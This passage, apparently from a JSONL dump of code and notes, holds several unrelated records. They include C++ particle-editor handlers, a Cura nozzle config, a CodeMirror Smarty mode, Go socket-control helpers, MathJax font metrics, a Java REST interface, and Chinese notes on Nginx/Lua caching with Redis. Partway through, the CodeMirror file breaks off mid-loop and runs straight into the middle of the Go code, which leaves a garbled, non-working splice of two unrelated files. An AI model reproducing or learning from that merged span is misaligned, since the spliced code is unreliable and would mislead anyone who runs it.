= PS_Box;\r\n\t\t\tbreak;\r\n\t\tcase 3:\r\n\t\t\ttheShape = PS_Sphere;\r\n\t\t\tbreak;\r\n\t\tcase 4:\r\n\t\t\ttheShape = PS_Blob;\r\n\t\t\tbreak;\r\n\t\tdefault:\r\n\t\t\tASSERT(false);\r\n\t\t\tbreak;\r\n\t\t\t\r\n\t\t}\r\n\t\tif(gGenVelToggleHandler.GetGenVelMode())\r\n\t\t{\r\n\t\t\tinTemplate->SetGenerationShape(theShape);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tinTemplate->SetStartingVelocityShape(theShape);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nstring AvHGenVelShapeHandler::GetTextFromValue(int inValue)\r\n{\r\n\tstring theShape;\r\n\tif(this->mUsingEntity)\r\n\t{\r\n\t\ttheShape = \"Entity\";\r\n\t}\r\n\telse\r\n\t{\r\n\t\tswitch(inValue/kScalar)\r\n\t\t{\r\n\t\tdefault:\r\n\t\tcase 1:\r\n\t\t\ttheShape = \"Point\";\r\n\t\t\tbreak;\r\n\t\tcase 2:\r\n\t\t\ttheShape = \"Box\";\r\n\t\t\tbreak;\r\n\t\tcase 3:\r\n\t\t\ttheShape = \"Sphere\";\r\n\t\t\tbreak;\r\n\t\tcase 4:\r\n\t\t\ttheShape = \"Blob\";\r\n\t\t\tbreak;\r\n\t\t}\t\t\t\r\n\t}\r\n\t\r\n\treturn theShape;\r\n\t//return this->GetSliderDebugInfo();\r\n}\r\n\r\nbool AvHGenVelShapeHandler::GetUsingEntity() const\r\n{\r\n\treturn this->mUsingEntity;\r\n}\r\n\r\nvoid AvHGenVelShapeHandler::InitFromTemplate(const AvHParticleTemplate* inTemplate)\r\n{\r\n\tbool theIsInGenMode = gGenVelToggleHandler.GetGenVelMode();\r\n\r\n\tint theGenerationEntityIndex = inTemplate->GetGenerationEntityIndex();\r\n\tif((theGenerationEntityIndex == -1) || !theIsInGenMode)\r\n\t{\r\n\t\tthis->mUsingEntity = false;\r\n\r\n\t\tShapeType theShape = inTemplate->GetGenerationShape();\r\n\t\tif(!theIsInGenMode)\r\n\t\t{\r\n\t\t\ttheShape = inTemplate->GetStartingVelocityShape();\r\n\t\t}\r\n\r\n\t\tint theShapeIndex = 0;\r\n\t\r\n\t\tswitch((int)(theShape))\r\n\t\t{\r\n\t\tcase 0:\r\n\t\t\ttheShapeIndex = 0;\r\n\t\t\tbreak;\r\n\t\tcase 4:\r\n\t\t\ttheShapeIndex = 2;\r\n\t\t\tbreak;\r\n\t\tcase 5:\r\n\t\t\ttheShapeIndex = 3;\r\n\t\t\tbreak;\r\n\t\tcase 8:\r\n\t\t\ttheShapeIndex = 4;\r\n\t\t\tbreak;\r\n\t\tdefault:\r\n\t\t\tASSERT(false);\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tint theValue = theShapeIndex*kScalar;\r\n\t\tthis->SetValue(theValue);\r\n\t\tthis->SetText(theValue);\r\n\t\t\r\n\t\tgGenVelParamsHandler.InitFromTemplate(inTemplate);\r\n\t}\r\n\telse\r\n\t{\r\n\t\tthis->mUsingEntity = true;\r\n\t}\r\n}\r\n\r\n\r\n// Param num\r\nvoid AvHGenVelParamNumHandler::ChangeTemplateFromValue(AvHParticleTemplate* inTemplate, int inValue)\r\n{\r\n\tthis->mCurrentParamNum = (inValue/kScalar);\r\n\t//gGenVelParamsHandler.InitFromTemplate(inTemplate);\r\n}\r\n\r\nint\tAvHGenVelParamNumHandler::GetCurrentParamNum() const\r\n{\r\n\treturn this->mCurrentParamNum;\r\n}\r\n\r\nstring AvHGenVelParamNumHandler::GetTextFromValue(int inValue)\r\n{\r\n\tchar theBuffer[256];\r\n\tif(!gGenVelShapeHandler.GetUsingEntity())\r\n\t{\r\n\t\tsprintf(theBuffer, \"param: %d\", (inValue/kScalar));\r\n\t}\r\n\telse\r\n\t{\r\n\t\tsprintf(theBuffer, \"\");\r\n\t}\r\n\t\r\n\treturn string(theBuffer);\t\r\n\t//return this->GetSliderDebugInfo();\r\n}\r\n\r\nvoid AvHGenVelParamNumHandler::InitFromTemplate(const AvHParticleTemplate* inTemplate)\r\n{\r\n\t//\tthis->mCurrentParamNum = 1;\r\n}\r\n\r\n\r\nvoid AvHGenVelParamNumHandler::RecomputeDependencies(AvHParticleTemplate* inReloadedTemplate) \r\n{\r\n\tgGenVelParamsHandler.InitFromTemplate(inReloadedTemplate);\r\n}\r\n\r\n// GenVel params\r\nvoid AvHGenVelParamsHandler::ChangeTemplateFromValue(AvHParticleTemplate* inTemplate, int inValue)\r\n{\r\n\tint theValue = inValue/kScalar;\r\n\tint theParamNum = gGenVelParamNumHandler.GetCurrentParamNum();\r\n\t\r\n\tif(theParamNum >= 1 && theParamNum <= 8)\r\n\t{\r\n\t\tthis->mCurrentParams[theParamNum-1] = theValue;\r\n\t\tif(gGenVelToggleHandler.GetGenVelMode())\r\n\t\t{\r\n\t\t\tinTemplate->SetGenerationParams(this->mCurrentParams);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tinTemplate->SetStartingVelocityParams(this->mCurrentParams);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nstring AvHGenVelParamsHandler::GetTextFromValue(int inValue)\r\n{\r\n\tstring theParamString = \"\";\r\n\tif(!gGenVelShapeHandler.GetUsingEntity())\r\n\t{\r\n\t\ttheParamString = \"params:\";\r\n\t\tfor(int i=0; i < 8; i++)\r\n\t\t{\r\n\t\t\ttheParamString += \" \";\r\n\t\t\ttheParamString += MakeStringFromInt(this->mCurrentParams[i]);\r\n\t\t}\r\n\t}\t\r\n\treturn theParamString;\r\n\t//return this->GetSliderDebugInfo();\r\n}\r\n\r\nvoid AvHGenVelParamsHandler::InitFromTemplate(const AvHParticleTemplate* inTemplate)\r\n{\r\n\tinTemplate->GetGenerationParams(this->mCurrentParams);\r\n\tif(!gGenVelToggleHandler.GetGenVelMode())\r\n\t{\r\n\t\tinTemplate->GetStartingVelocityParams(this->mCurrentParams);\r\n\t}\r\n\r\n\tint theCurrentParamNum = gGenVelParamNumHandler.GetCurrentParamNum();\r\n\tint theValue = this->mCurrentParams[theCurrentParamNum-1]*kScalar;\r\n\r\n\tthis->SetValue(theValue);\r\n\tthis->SetText(theValue);\r\n}\r\n\r\n"} +{"text": "[general]\nname = 0.6mm Nozzle\nversion = 4\ndefinition = tronxy_xy3\n\n[metadata]\nsetting_version = 16\ntype = variant\nhardware_type = nozzle\n\n[values]\nmachine_nozzle_size = 0.6\n"} +{"text": "// CodeMirror, copyright (c) by Marijn Haverbeke and others\n// Distributed under an MIT license: http://codemirror.net/LICENSE\n\n/**\n * Smarty 2 and 3 mode.\n */\n\n(function(mod) {\n if (typeof exports == \"object\" && typeof module == \"object\") // CommonJS\n mod(require(\"../../lib/codemirror\"));\n else if (typeof define == \"function\" && define.amd) // AMD\n define([\"../../lib/codemirror\"], mod);\n else // Plain browser env\n mod(CodeMirror);\n})(function(CodeMirror) {\n \"use strict\";\n\n CodeMirror.defineMode(\"smarty\", function(config, parserConf) {\n var rightDelimiter = parserConf.rightDelimiter || \"}\";\n var leftDelimiter = parserConf.leftDelimiter || \"{\";\n var version = parserConf.version || 2;\n var baseMode = CodeMirror.getMode(config, parserConf.baseMode || \"null\");\n\n var keyFunctions = [\"debug\", \"extends\", \"function\", \"include\", \"literal\"];\n var regs = {\n operatorChars: /[+\\-*&%=<>!?]/,\n validIdentifier: /[a-zA-Z0-9_]/,\n stringChar: /['\"]/\n };\n\n var last;\n function cont(style, lastType) {\n last = lastType;\n return style;\n }\n\n function chain(stream, state, parser) {\n state.tokenize = parser;\n return parser(stream, state);\n }\n\n // Smarty 3 allows { and } surrounded by whitespace to NOT slip into Smarty mode\n function doesNotCount(stream, pos) {\n if (pos == null) pos = stream.pos;\n return version === 3 && leftDelimiter == \"{\" &&\n (pos == stream.string.length || /\\s/.test(stream.string.charAt(pos)));\n }\n\n function tokenTop(stream, state) {\n var string = stream.string;\n for (var scan = stream.pos;;) {\n var nextMatch = string.indexOf(leftDelimiter, scan);\n scan = nextMatch + leftDelimiter.length;\n if (nextMatch == -1 || !doesNotCount(stream, nextMatch + leftDelimiter.length)) break;\n }\n if (nextMatch == stream.pos) {\n stream.match(leftDelimiter);\n if (stream.eat(\"*\")) {\n return chain(stream, state, tokenBlock(\"comment\", \"*\" + rightDelimiter));\n } else {\n state.depth++;\n state.tokenize = tokenSmarty;\n last = \"startTag\";\n return \"tag\";\n }\n }\n\n if (nextMatch > -1) stream.string = string.slice(0, nextMatch);\n var token = baseMode.token(stream, state.base);\n if (nextMatch > -1) stream.string = string;\n return token;\n }\n\n // parsing Smarty content\n function tokenSmarty(stream, state) {\n if (stream.match(rightDelimiter, true)) {\n if (version === 3) {\n state.depth--;\n if (state.depth <= 0) {\n state.tokenize = tokenTop;\n }\n } else {\n state.tokenize = tokenTop;\n }\n return cont(\"tag\", null);\n }\n\n if (stream.match(leftDelimiter, true)) {\n state.depth++;\n return cont(\"tag\", \"startTag\");\n }\n\n var ch = stream.next();\n if (ch == \"$\") {\n stream.eatWhile(regs.validIdentifier);\n return cont(\"variable-2\", \"variable\");\n } else if (ch == \"|\") {\n return cont(\"operator\", \"pipe\");\n } else if (ch == \".\") {\n return cont(\"operator\", \"property\");\n } else if (regs.stringChar.test(ch)) {\n state.tokenize = tokenAttribute(ch);\n return cont(\"string\", \"string\");\n } else if (regs.operatorChars.test(ch)) {\n stream.eatWhile(regs.operatorChars);\n return cont(\"operator\", \"operator\");\n } else if (ch == \"[\" || ch == \"]\") {\n return cont(\"bracket\", \"bracket\");\n } else if (ch == \"(\" || ch == \")\") {\n return cont(\"bracket\", \"operator\");\n } else if (/\\d/.test(ch)) {\n stream.eatWhile(/\\d/);\n return cont(\"number\", \"number\");\n } else {\n\n if (state.last == \"variable\") {\n if (ch == \"@\") {\n stream.eatWhile(regs.validIdentifier);\n return cont(\"property\", \"property\");\n } else if (ch == \"|\") {\n stream.eatWhile(regs.validIdentifier);\n return cont(\"qualifier\", \"modifier\");\n }\n } else if (state.last == \"pipe\") {\n stream.eatWhile(regs.validIdentifier);\n return cont(\"qualifier\", \"modifier\");\n } else if (state.last == \"whitespace\") {\n stream.eatWhile(regs.validIdentifier);\n return cont(\"attribute\", \"modifier\");\n } if (state.last == \"property\") {\n stream.eatWhile(regs.validIdentifier);\n return cont(\"property\", null);\n } else if (/\\s/.test(ch)) {\n last = \"whitespace\";\n return null;\n }\n\n var str = \"\";\n if (ch != \"/\") {\n str += ch;\n }\n var c = null;\n while (c = stream.eat(regs.validIdentifier)) {\n str += c;\n }\n for (var i=0, j=keyFunctions.length; i uint64(len(b)) {\n\t\treturn nil, nil, EINVAL\n\t}\n\treturn h, b[cmsgAlignOf(SizeofCmsghdr):h.Len], nil\n}\n\n// UnixRights encodes a set of open file descriptors into a socket\n// control message for sending to another process.\nfunc UnixRights(fds ...int) []byte {\n\tdatalen := len(fds) * 4\n\tb := make([]byte, CmsgSpace(datalen))\n\th := (*Cmsghdr)(unsafe.Pointer(&b[0]))\n\th.Level = SOL_SOCKET\n\th.Type = SCM_RIGHTS\n\th.SetLen(CmsgLen(datalen))\n\tdata := cmsgData(h)\n\tfor _, fd := range fds {\n\t\t*(*int32)(data) = int32(fd)\n\t\tdata = unsafe.Pointer(uintptr(data) + 4)\n\t}\n\treturn b\n}\n\n// ParseUnixRights decodes a socket control message that contains an\n// integer array of open file descriptors from another process.\nfunc ParseUnixRights(m *SocketControlMessage) ([]int, error) {\n\tif m.Header.Level != SOL_SOCKET {\n\t\treturn nil, EINVAL\n\t}\n\tif m.Header.Type != SCM_RIGHTS {\n\t\treturn nil, EINVAL\n\t}\n\tfds := make([]int, len(m.Data)>>2)\n\tfor i, j := 0, 0; i < len(m.Data); i += 4 {\n\t\tfds[j] = int(*(*int32)(unsafe.Pointer(&m.Data[i])))\n\t\tj++\n\t}\n\treturn fds, nil\n}\n"} +{"text": "/*************************************************************\n *\n * MathJax/jax/output/HTML-CSS/fonts/STIX-Web/Latin/Regular/Main.js\n * \n * Copyright (c) 2013-2017 The MathJax Consortium\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nMathJax.OutputJax['HTML-CSS'].FONTDATA.FONTS['STIXMathJax_Latin'] = {\n directory: 'Latin/Regular',\n family: 'STIXMathJax_Latin',\n testString: '\\u00A0\\u00A1\\u00A2\\u00A4\\u00A6\\u00A9\\u00AA\\u00AB\\u00AD\\u00B2\\u00B3\\u00B6\\u00B8\\u00B9\\u00BA',\n 0x20: [0,0,250,0,0],\n 0xA0: [0,0,250,0,0],\n 0xA1: [468,218,330,96,202],\n 0xA2: [579,138,500,53,448],\n 0xA4: [534,10,500,-22,522],\n 0xA6: [676,14,200,67,133],\n 0xA9: [676,14,760,38,722],\n 0xAA: [676,-394,276,4,270],\n 0xAB: [416,-33,500,42,456],\n 0xAD: [257,-194,333,39,285],\n 0xB2: [676,-270,300,1,296],\n 0xB3: [676,-262,300,13,291],\n 0xB6: [662,154,592,60,532],\n 0xB8: [0,215,333,52,261],\n 0xB9: [676,-270,300,57,248],\n 0xBA: [676,-394,310,6,304],\n 0xBB: [416,-33,500,43,458],\n 0xBC: [676,14,750,42,713],\n 0xBD: [676,14,750,36,741],\n 0xBE: [676,14,750,13,718],\n 0xBF: [467,218,444,30,376],\n 0xC0: [928,0,722,15,707],\n 0xC1: [928,0,722,15,707],\n 0xC2: [924,0,722,15,707],\n 0xC3: [888,0,722,15,707],\n 0xC4: [872,0,722,15,707],\n 0xC5: [961,0,722,15,707],\n 0xC6: [662,0,889,0,863],\n 0xC7: [676,215,667,28,633],\n 0xC8: [928,0,611,12,597],\n 0xC9: [928,0,611,12,597],\n 0xCA: [924,0,611,12,597],\n 0xCB: [872,0,611,12,597],\n 0xCC: [928,0,333,18,315],\n 0xCD: [928,0,333,18,315],\n 0xCE: [924,0,333,10,321],\n 0xCF: [872,0,333,17,315],\n 0xD0: [662,0,722,16,685],\n 0xD1: [888,11,722,12,707],\n 0xD2: [928,14,722,34,688],\n 0xD3: [928,14,722,34,688],\n 0xD4: [924,14,722,34,688],\n 0xD5: [888,14,722,34,688],\n 0xD6: [872,14,722,34,688],\n 0xD8: [734,80,722,34,688],\n 0xD9: [928,14,722,14,705],\n 0xDA: [928,14,722,14,705],\n 0xDB: [924,14,722,14,705],\n 0xDC: [872,14,722,14,705],\n 0xDD: [928,0,722,22,703],\n 0xDE: [662,0,556,16,542],\n 0xDF: [683,9,500,12,468],\n 0xE0: [678,10,444,37,442],\n 0xE1: [678,10,444,37,442],\n 0xE2: [674,10,444,37,442],\n 0xE3: [638,10,444,37,442],\n 0xE4: [622,10,444,37,442],\n 0xE5: [713,10,444,37,442],\n 0xE6: [460,7,667,38,632],\n 0xE7: [460,215,444,25,412],\n 0xE8: [678,10,444,25,424],\n 0xE9: [678,10,444,25,424],\n 0xEA: [674,10,444,25,424],\n 0xEB: [622,10,444,25,424],\n 0xEC: [678,0,278,6,243],\n 0xED: [678,0,278,16,273],\n 0xEE: [674,0,278,-17,294],\n 0xEF: [622,0,278,-10,288],\n 0xF1: [638,0,500,16,485],\n 0xF2: [678,10,500,29,470],\n 0xF3: [678,10,500,29,470],\n 0xF4: [674,10,500,29,470],\n 0xF5: [638,10,500,29,470],\n 0xF6: [622,10,500,29,470],\n 0xF8: [551,112,500,29,470],\n 0xF9: [678,10,500,9,480],\n 0xFA: [678,10,500,9,480],\n 0xFB: [674,10,500,9,480],\n 0xFC: [622,10,500,9,480],\n 0xFD: [678,218,500,14,475],\n 0xFE: [683,217,500,5,470],\n 0xFF: [622,218,500,14,475],\n 0x100: [773,0,722,15,707],\n 0x101: [561,10,444,37,442],\n 0x102: [876,0,722,15,707],\n 0x103: [664,10,444,37,442],\n 0x104: [674,165,722,15,707],\n 0x105: [460,165,444,37,472],\n 0x106: [890,14,667,28,633],\n 0x107: [678,10,444,25,412],\n 0x108: [886,14,667,28,633],\n 0x109: [674,10,444,25,412],\n 0x10A: [834,14,667,28,633],\n 0x10B: [622,10,444,25,412],\n 0x10C: [886,14,667,28,633],\n 0x10D: [674,10,444,25,412],\n 0x10E: [886,0,722,16,685],\n 0x10F: [701,10,586,27,604],\n 0x110: [662,0,722,16,685],\n 0x111: [683,10,500,27,507],\n 0x112: [773,0,611,12,597],\n 0x113: [561,10,444,25,424],\n 0x114: [876,0,611,12,597],\n 0x115: [664,10,444,25,424],\n 0x116: [834,0,611,12,597],\n 0x117: [622,10,444,25,424],\n 0x118: [662,165,611,12,597],\n 0x119: [460,165,444,25,424],\n 0x11A: [886,0,611,12,597],\n 0x11B: [674,10,444,25,424],\n 0x11C: [886,14,722,32,709],\n 0x11D: [674,218,500,28,470],\n 0x11E: [876,14,722,32,709],\n 0x11F: [664,218,500,28,470],\n 0x120: [834,14,722,32,709],\n 0x121: [622,218,500,28,470],\n 0x122: [676,280,722,32,709],\n 0x123: [766,218,500,28,470],\n 0x124: [886,0,722,18,703],\n 0x125: [886,0,500,9,487],\n 0x126: [662,0,723,17,702],\n 0x128: [850,0,333,1,331],\n 0x129: [638,0,278,-25,305],\n 0x12A: [773,0,333,11,322],\n 0x12B: [561,0,278,-21,290],\n 0x12C: [876,0,333,18,315],\n 0x12D: [664,0,278,-1,280],\n 0x12E: [662,165,333,18,315],\n 0x12F: [683,165,278,16,277],\n 0x130: [834,0,333,18,315],\n 0x132: [662,14,747,18,728],\n 0x133: [683,218,538,16,454],\n 0x134: [886,14,373,-6,367],\n 0x135: [674,218,278,-70,295],\n 0x136: [662,280,722,33,723],\n 0x137: [683,280,500,7,505],\n 0x138: [459,0,542,5,532],\n 0x139: [890,0,611,12,598],\n 0x13A: [890,0,278,19,257],\n 0x13B: [662,280,611,12,598],\n 0x13C: [683,280,278,19,257],\n 0x13D: [683,0,611,12,598],\n 0x13E: [702,0,381,19,362],\n 0x13F: [662,0,620,29,615],\n 0x140: [683,0,370,19,354],\n 0x141: [662,0,611,10,597],\n 0x142: [683,0,278,19,259],\n 0x143: [890,11,722,12,707],\n 0x144: [678,0,500,16,485],\n 0x145: [662,280,722,12,707],\n 0x146: [460,280,500,16,485],\n 0x147: [886,11,722,12,707],\n 0x148: [674,0,500,16,485],\n 0x149: [702,0,590,20,566],\n 0x14A: [678,18,710,16,673],\n 0x14B: [460,218,504,16,424],\n 0x14C: [773,14,722,34,688],\n 0x14D: [561,10,500,29,470],\n 0x14E: [876,14,722,34,688],\n 0x14F: [664,10,500,29,470],\n 0x150: [890,14,722,34,688],\n 0x151: [678,10,500,29,470],\n 0x152: [668,6,889,30,885],\n 0x153: [460,10,722,30,690],\n 0x154: [890,0,667,17,660],\n 0x155: [678,0,333,5,335],\n 0x156: [662,280,667,17,660],\n 0x157: [460,280,333,5,335],\n 0x158: [886,0,667,17,660],\n 0x159: [674,0,333,5,335],\n 0x15A: [890,14,556,43,491],\n 0x15B: [678,10,389,51,348],\n 0x15C: [886,14,556,43,491],\n 0x15D: [674,10,389,40,351],\n 0x15E: [676,215,556,43,491],\n 0x15F: [459,215,389,51,348],\n 0x160: [924,14,556,43,491],\n 0x161: [674,10,389,38,349],\n 0x162: [662,215,611,17,593],\n 0x163: [579,215,278,13,279],\n 0x164: [886,0,611,17,593],\n 0x165: [701,10,315,13,333],\n 0x166: [662,0,613,17,593],\n 0x167: [584,5,279,11,280],\n 0x168: [849,14,722,14,705],\n 0x169: [638,10,500,9,480],\n 0x16A: [773,14,722,14,705],\n 0x16B: [561,10,500,9,480],\n 0x16C: [876,14,722,14,705],\n 0x16D: [664,10,500,9,480],\n 0x16E: [898,14,722,14,705],\n 0x16F: [711,10,500,9,480],\n 0x170: [890,14,722,14,705],\n 0x171: [678,10,500,9,480],\n 0x172: [662,165,722,14,705],\n 0x173: [450,156,500,9,480],\n 0x174: [886,11,944,5,932],\n 0x175: [674,14,722,21,694],\n 0x176: [886,0,722,22,703],\n 0x177: [674,218,500,14,475],\n 0x178: [872,0,722,22,703],\n 0x179: [890,0,612,10,598],\n 0x17A: [678,0,444,27,418],\n 0x17B: [834,0,612,10,598],\n 0x17C: [622,0,444,27,418],\n 0x17D: [924,0,612,10,598],\n 0x17E: [674,0,444,27,418],\n 0x17F: [683,0,334,20,383],\n 0x180: [683,10,500,-19,472],\n 0x188: [559,10,500,25,511],\n 0x190: [684,6,580,33,562],\n 0x192: [706,159,434,6,426],\n 0x195: [683,10,735,9,710],\n 0x199: [683,0,500,7,505],\n 0x19A: [683,0,278,19,257],\n 0x19B: [668,0,520,55,516],\n 0x19E: [460,233,500,16,485],\n 0x1A0: [754,14,722,34,688],\n 0x1A1: [474,10,545,29,531],\n 0x1A5: [669,217,500,5,470],\n 0x1AA: [684,233,432,20,412],\n 0x1AB: [579,218,290,13,279],\n 0x1AD: [683,10,310,14,333],\n 0x1AF: [774,14,766,14,810],\n 0x1B0: [561,10,500,9,539],\n 0x1B5: [662,0,612,10,598],\n 0x1BA: [450,234,381,4,360],\n 0x1BB: [676,0,500,22,482],\n 0x1BE: [539,12,500,73,427],\n 0x1C0: [736,0,160,54,105],\n 0x1C1: [736,0,280,54,225],\n 0x1C2: [736,0,435,34,400],\n 0x1C3: [676,9,333,130,236],\n 0x1F0: [674,218,278,-70,294],\n 0x1FA: [938,0,722,15,707],\n 0x1FB: [890,10,444,37,442],\n 0x1FC: [890,0,889,0,863],\n 0x1FD: [678,7,667,38,632],\n 0x1FE: [890,80,722,34,688],\n 0x1FF: [678,112,500,29,470],\n 0x221: [683,150,671,27,652],\n 0x234: [683,150,429,19,410],\n 0x235: [460,150,672,16,653],\n 0x236: [579,150,401,13,382],\n 0x1E80: [890,11,944,5,932],\n 0x1E81: [678,14,722,21,694],\n 0x1E82: [890,11,944,5,932],\n 0x1E83: [678,14,722,21,694],\n 0x1E84: [834,11,944,5,932],\n 0x1E85: [622,14,722,21,694],\n 0x1EF2: [890,0,722,22,703],\n 0x1EF3: [678,218,500,14,475],\n 0xA727: [683,233,481,9,427],\n 0xA792: [676,14,734,18,700],\n 0xFB00: [683,0,605,20,655],\n 0xFB01: [683,0,558,32,523],\n 0xFB02: [683,0,556,31,522],\n 0xFB03: [683,0,832,20,797],\n 0xFB04: [683,0,830,20,796]\n};\n\nMathJax.Callback.Queue(\n [\"initFont\",MathJax.OutputJax[\"HTML-CSS\"],\"STIXMathJax_Latin\"],\n [\"loadComplete\",MathJax.Ajax,MathJax.OutputJax[\"HTML-CSS\"].fontDir+\"/Latin/Regular/Main.js\"]\n);\n"} +{"text": "package org.jboss.resteasy.test.form.resource;\n\nimport javax.ws.rs.Consumes;\nimport javax.ws.rs.PUT;\nimport javax.ws.rs.Path;\nimport javax.ws.rs.Produces;\n\n@Path(\"body\")\npublic interface FormBodyResourceClient {\n @PUT\n @Consumes(\"text/plain\")\n @Produces(\"text/plain\")\n String put(String value);\n}\n"} +{"text": "# 《亿级流量系统多级缓存架构2》\n\n# Lua + \n\n## 课程主要内容\n\n### Nginx缓存\n\n#### Nginx全局共享内存缓存\n\n```lua\nlua_shared_dict shared_data 1m;\n\n\n------\n\n\nlocal shared_data = ngx.shared.shared_data \n\nlocal i = shared_data:get(\"i\") \n\nif not i then \n\n i = 1 \n\n shared_data:set(\"i\", i) \n\n ngx.say(\"lazy set i \", i, \"
\") \nend \n \n\ni = shared_data:incr(\"i\", 1) \n\nngx.say(\"i=\", i, \"
\")\n```\n\n\n\n#### lua-resty-lrucache\n\nLua 实现的一个简单的 LRU 缓存，适合在 Lua 空间里直接缓存较为复杂的 Lua 数据结构：\n\n它相比 ngx_lua 共享内存字典可以省去较昂贵的序列化操作，相比 memcached 这样的外部服务又能省去较昂贵的 socket 操作\n\nlrucache 有两种实现\n\n- resty.lrucache\n - 适合用来缓存命中率高或读操作远远大于写操作的缓存业务\n- resty.lrucache.pureffi\n - 适合用来缓存命中率低或需要对key进行频繁增、删操作的缓存业务\n\n```lua\nlocal lrucache = require \"resty.lrucache\"\n\nlocal c, err = lrucache.new(200)\n\n\n\n\tc:set(\"dog\", 32)\n c:set(\"cat\", 56)\n ngx.say(\"dog: \", c:get(\"dog\"))\n ngx.say(\"cat: \", c:get(\"cat\"))\n\n c:set(\"dog\", { age = 10 }, 0.1) -- expire in 0.1 sec\n c:delete(\"dog\")\n\n```\n\nhttps://github.com/openresty/lua-resty-lrucache#name\n\n\n\n##### 实例\n\n```lua\nlocal mycache = require(\"mycache\") \nlocal count = mycache.get(\"count\") or 0 \ncount = count + 1 \nmycache.set(\"count\", count, 10 * 60 * 60) --10分钟 \nngx.say(mycache.get(\"count\")) \n\n```\n\n**mycache.lua**\n\n```lua\nlocal lrucache = require(\"resty.lrucache\") \n--创建缓存实例，并指定最多缓存多少条目 \nlocal cache, err = lrucache.new(200) \nif not cache then \n ngx.log(ngx.ERR, \"create cache error : \", err) \nend \n \nlocal function set(key, value, ttlInSeconds) \n cache:set(key, value, ttlInSeconds) \nend \n \nlocal function get(key) \n return cache:get(key) \nend \n \nlocal _M = { \n set = set, \n get = get \n} \nreturn _M\n\n```\n\n\n\n##### tmpfs\n\n在Linux系统内存中的虚拟磁盘映射，可以理解为使用物理内存当做磁盘，利用这种文件系统，可以有效提高在高并发场景下的磁盘读写，但是重启后数据会丢失。\n\n###### 查看tmpfs命令：\n\n\n\n![](images/1569584708275.png)\n\n###### 系统默认开启，大小约为物理内存一半\n\n\n\n###### 查看物理内存利用情况\n\n![1569584752960](images/1569584752960.png)\n\n\n\ntmpfs没有占用内存空间，只有在写入数据的时候才会占用实际的物理内存\n\n###### 调整大小\n\n临时修改方式如下，立即生效但重启后会恢复\n\n![1569584781944](images/1569584781944.png)\n\n\n\n###### 永久修改 /etc/fstab文件\n\n![1569584800821](images/1569584800821.png)\n\n\n\n\n\n\n\n#### http_proxy 本地磁盘缓存\n\n```nginx\nproxy_cache_path /path/to/cache levels=1:2 keys_zone=my_cache:10m max_size=10g inactive=60m use_temp_path=off;\n\nserver {\n\n     set $upstream http://ip:port\n\n          location / {\n\n                   proxy_cache my_cache;\n\n                   proxy_pass $upstream;\n }\n\n}\n```\n\n` /path/to/cache` #本地路径，用来设置Nginx缓存资源的存放地址\n\n` levels ` #默认所有缓存文件都放在同一个`/path/to/cache`下，但是会影响缓存的性能，因此通常会在`/path/to/cache`下面建立子目录用来分别存放不同的文件。假设`levels=1:2`，Nginx为将要缓存的资源生成的`key`为`f4cd0fbc769e94925ec5540b6a4136d0`，那么`key`的最后一位0，以及倒数第2-3位6d作为两级的子目录，也就是该资源最终会被缓存到`/path/to/cache/0/6d`目录中\n\n`key_zone` #在共享内存中设置一块存储区域来存放缓存的`key`和`metadata`（类似使用次数），这样nginx可以快速判断一个request是否命中或者未命中缓存，1m可以存储8000个key，10m可以存储80000个key\n\n`max_size` #最大cache空间，如果不指定，会使用掉所有disk space，当达到配额后，会删除最少使用的cache文件\n\n` inactive` #未被访问文件在缓存中保留时间，本配置中如果60分钟未被访问则不论状态是否为expired，缓存控制程序会删掉文件。inactive默认是10分钟。需要注意的是，inactive和expired配置项的含义是不同的，expired只是缓存过期，但不会被删除，inactive是删除指定时间内未被访问的缓存文件\n\n` use_temp_path` #如果为off，则nginx会将缓存文件直接写入指定的cache文件中，而不是使用temp_path存储，official建议为off，避免文件在不同文件系统中不必要的拷贝\n\n`proxy_cache` #启用proxy cache，并指定key_zone。另外，如果proxy_cache off表示关闭掉缓存。\n\n### lua-resty-redis访问redis\n\n#### 常用方法\n\n```lua\nlocal res, err = red:get(\"key\")\n\nlocal res, err = red:lrange(\"nokey\", 0, 1)\n\nngx.say(\"res:\",cjson.encode(res))\n```\n\n\n\n#### 创建连接\n\n```lua\nred, err = redis:new()\n\nok, err = red:connect(host, port, options_table?)\n```\n\n\n\n#### timeout\n\n```lua\nred:set_timeout(time)\n```\n\n#### keepalive\n\n```lua\nred:set_keepalive(max_idle_timeout, pool_size)\n```\n\n\n\n\n\n#### close\n\n```\nok, err = red:close()\n```\n\n null \n\nnil\n\nerror \n\nexception\n\ncrash\n\n#### pipeline\n\n```nginx\nred:init_pipeline()\n\nresults, err = red:commit_pipeline()\n```\n\n#### 认证\n\n```nginx\n local res, err = red:auth(\"foobared\")\n\n if not res then\n\n ngx.say(\"failed to authenticate: \", err)\n\n return\nend\n```\n\n\n\n\n\n#### redis-cluster支持\n\nhttps://github.com/steve0511/resty-redis-cluster\n\n \n\n### redis2-nginx-module \n\nredis2-nginx-module是一个支持 Redis 2.0 协议的 Nginx upstream 模块，它可以让 Nginx 以非阻塞方式直接防问远方的 Redis 服务，同时支持 TCP 协议和 Unix Domain Socket 模式，并且可以启用强大的 Redis 连接池功能。\n\nhttps://github.com/openresty/redis2-nginx-module\n\n#### test\n\n```nginx\nlocation = /foo {\n\ndefault_type text/html;\n\n redis2_query auth 123123;\n\n set $value 'first';\n\n redis2_query set one $value;\n\n redis2_pass 192.168.199.161:6379;\n\n }\n```\n\n\n\n\n\n#### get\n\n```nginx\nlocation = /get {\n\ndefault_type text/html;\n\n redis2_pass 192.168.199.161:6379;\n\n redis2_query auth 123123;\n\n set_unescape_uri $key $arg_key; # this requires ngx_set_misc\n\n redis2_query get $key;\n\n}\n```\n\n\n\n\n\n#### set\n\n```nginx\n# GET /set?key=one&val=first%20value\n\nlocation = /set {\n\ndefault_type text/html;\n\nredis2_pass 